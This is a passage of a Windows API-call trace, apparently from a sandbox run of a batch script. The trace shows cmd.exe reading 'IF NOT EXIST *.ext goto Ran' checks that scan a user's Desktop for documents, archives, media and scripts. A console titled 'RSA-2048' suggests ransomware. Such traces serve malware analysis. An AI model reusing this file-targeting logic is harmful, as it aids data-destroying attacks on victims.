GetProcessHeap () returned 0x4e0000 [0039.872] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0039.872] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.872] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1ff [0039.872] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0039.872] SetFilePointer (in: hFile=0x74, lDistanceToMove=540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x21c [0039.872] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF NOT EXIST *.gif goto Ran\r\n") returned 29 [0039.872] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.872] GetFileType (hFile=0x74) returned 0x1 [0039.872] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.872] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x21c [0039.872] GetProcessHeap () returned 0x4e0000 [0039.873] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.873] GetProcessHeap () returned 0x4e0000 [0039.873] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.873] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0039.873] GetProcessHeap () returned 0x4e0000 [0039.873] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0039.873] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x18) returned 0x4f5880 [0039.873] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f5880, Size=0x12) returned 0x4f58a0 [0039.873] GetProcessHeap () returned 0x4e0000 [0039.873] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58a0) returned 0x12 [0039.873] _wcsicmp (_String1="NOT", _String2="/I") returned 63 [0039.873] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0039.873] GetProcessHeap () returned 0x4e0000 [0039.873] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x10) returned 0x4f4530 [0039.873] _wcsicmp (_String1="ERRORLEVEL", _String2="NOT") returned -9 [0039.873] _wcsicmp (_String1="EXIST", _String2="NOT") returned -9 [0039.873] _wcsicmp (_String1="CMDEXTVERSION", _String2="NOT") returned -11 [0039.873] _wcsicmp (_String1="DEFINED", _String2="NOT") returned -10 [0039.873] _wcsicmp (_String1="NOT", _String2="NOT") returned 0 [0039.873] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0039.873] GetProcessHeap () returned 0x4e0000 [0039.873] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f5880 [0039.873] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0039.874] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0039.874] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0039.874] GetProcessHeap () returned 0x4e0000 [0039.874] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.874] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0039.874] GetProcessHeap () returned 0x4e0000 [0039.874] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0039.874] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4b58 [0039.874] GetProcessHeap () returned 0x4e0000 [0039.874] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0039.874] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0039.875] _tell (_FileHandle=3) returned 540 [0039.875] _close (_FileHandle=3) returned 0 [0039.875] GetFullPathNameW (in: lpFileName="*.gif", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.gif", lpFilePart=0x41eea8*="*.gif") returned 0x2b [0039.875] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0039.875] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.gif", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0039.875] GetLastError () returned 0x2 [0039.875] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0039.875] GetLastError () returned 0x6 [0039.875] GetConsoleTitleW (in: lpConsoleTitle=0x41f098, nSize=0x104 | out: lpConsoleTitle="Administrator: RSA-2048") returned 0x18 [0039.876] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x1c) returned 0x4e0880 [0039.876] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x12) returned 0x4f5940 [0039.876] GetProcessHeap () returned 0x4e0000 [0039.876] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5940) returned 0x12 [0039.876] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x1c) returned 0x4e0880 [0039.876] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41ede0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.876] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.876] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.876] SetFilePointer (in: hFile=0x74, lDistanceToMove=540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x21c [0039.876] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.876] GetFileSize (in: hFile=0x74, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x262d [0039.876] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.876] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x21c [0039.876] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.876] GetFileType (hFile=0x74) returned 0x1 [0039.877] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x21c [0039.877] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.877] SetFilePointer (in: hFile=0x74, lDistanceToMove=569, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x239 [0039.877] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.url goto Ran\r\nq\r\n") returned 29 [0039.877] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.877] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x239 [0039.877] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.877] GetFileType (hFile=0x74) returned 0x1 [0039.877] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x239 [0039.877] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.877] SetFilePointer (in: hFile=0x74, lDistanceToMove=598, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x256 [0039.877] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.zip goto Ran\r\n") returned 29 [0039.877] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.877] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x256 [0039.877] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.877] GetFileType (hFile=0x74) returned 0x1 [0039.877] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x256 [0039.878] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.878] SetFilePointer (in: hFile=0x74, lDistanceToMove=600, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x258 [0039.878] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n NOT EXIST *.zip goto Ran\r\n") returned 2 [0039.878] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.878] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x258 [0039.878] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.878] GetFileType (hFile=0x74) returned 0x1 [0039.878] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x258 [0039.878] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.878] SetFilePointer (in: hFile=0x74, lDistanceToMove=629, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x275 [0039.878] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.rar goto Ran\r\n") returned 29 [0039.878] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.878] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x275 [0039.878] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.878] GetFileType (hFile=0x74) returned 0x1 [0039.878] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x275 [0039.879] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.879] SetFilePointer (in: hFile=0x74, lDistanceToMove=631, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x277 [0039.879] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n NOT EXIST *.rar goto Ran\r\n") returned 2 [0039.879] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.879] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x277 [0039.879] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.879] GetFileType (hFile=0x74) returned 0x1 [0039.879] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x277 [0039.879] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.879] SetFilePointer (in: hFile=0x74, lDistanceToMove=660, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x294 [0039.879] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.ink goto Ran\r\n") returned 29 [0039.879] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.879] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x294 [0039.879] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.879] GetFileType (hFile=0x74) returned 0x1 [0039.879] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x294 [0039.879] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.880] SetFilePointer (in: hFile=0x74, lDistanceToMove=662, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x296 [0039.880] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n NOT EXIST *.ink goto Ran\r\n") returned 2 [0039.880] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.880] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x296 [0039.880] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.880] GetFileType (hFile=0x74) returned 0x1 [0039.880] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x296 [0039.880] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.880] SetFilePointer (in: hFile=0x74, lDistanceToMove=691, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2b3 [0039.880] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.txt goto Ran\r\n") returned 29 [0039.880] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.880] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2b3 [0039.880] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.880] GetFileType (hFile=0x74) returned 0x1 [0039.880] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2b3 [0039.880] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.880] SetFilePointer (in: hFile=0x74, lDistanceToMove=693, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2b5 [0039.881] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n NOT EXIST *.txt goto Ran\r\n") returned 2 [0039.881] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.881] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2b5 [0039.881] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.881] GetFileType (hFile=0x74) returned 0x1 [0039.881] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2b5 [0039.881] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.881] SetFilePointer (in: hFile=0x74, lDistanceToMove=722, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2d2 [0039.881] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.pdf goto Ran\r\n") returned 29 [0039.881] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.881] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2d2 [0039.881] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.881] GetFileType (hFile=0x74) returned 0x1 [0039.881] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2d2 [0039.881] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.881] SetFilePointer (in: hFile=0x74, lDistanceToMove=751, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2ef [0039.881] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.vbs goto Ran\r\n") returned 29 [0039.882] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.882] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2ef [0039.882] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.882] GetFileType (hFile=0x74) returned 0x1 [0039.882] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2ef [0039.882] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.882] SetFilePointer (in: hFile=0x74, lDistanceToMove=753, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2f1 [0039.882] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n NOT EXIST *.vbs goto Ran\r\n") returned 2 [0039.882] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.882] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2f1 [0039.882] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.882] GetFileType (hFile=0x74) returned 0x1 [0039.882] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2f1 [0039.882] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.882] SetFilePointer (in: hFile=0x74, lDistanceToMove=783, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x30f [0039.882] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=30, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.docx goto Ran\r\n\r\n") returned 30 [0039.882] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.883] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x30f [0039.883] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.883] GetFileType (hFile=0x74) returned 0x1 [0039.883] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x30f [0039.883] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.883] SetFilePointer (in: hFile=0x74, lDistanceToMove=785, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x311 [0039.883] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n NOT EXIST *.docx goto Ran\r\n") returned 2 [0039.883] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.883] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x311 [0039.883] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.883] GetFileType (hFile=0x74) returned 0x1 [0039.883] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x311 [0039.883] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.883] SetFilePointer (in: hFile=0x74, lDistanceToMove=814, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x32e [0039.883] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.doc goto Ran\r\n\n") returned 29 [0039.883] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.883] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x32e [0039.884] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.884] GetFileType (hFile=0x74) returned 0x1 [0039.884] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x32e [0039.884] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.884] SetFilePointer (in: hFile=0x74, lDistanceToMove=816, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x330 [0039.884] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n NOT EXIST *.doc goto Ran\r\n") returned 2 [0039.884] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.884] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x330 [0039.884] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.884] GetFileType (hFile=0x74) returned 0x1 [0039.884] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x330 [0039.884] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.884] SetFilePointer (in: hFile=0x74, lDistanceToMove=845, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x34d [0039.884] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.mp4 goto Ran\r\n") returned 29 [0039.884] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.884] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x34d [0039.884] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.885] GetFileType (hFile=0x74) returned 0x1 [0039.885] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x34d 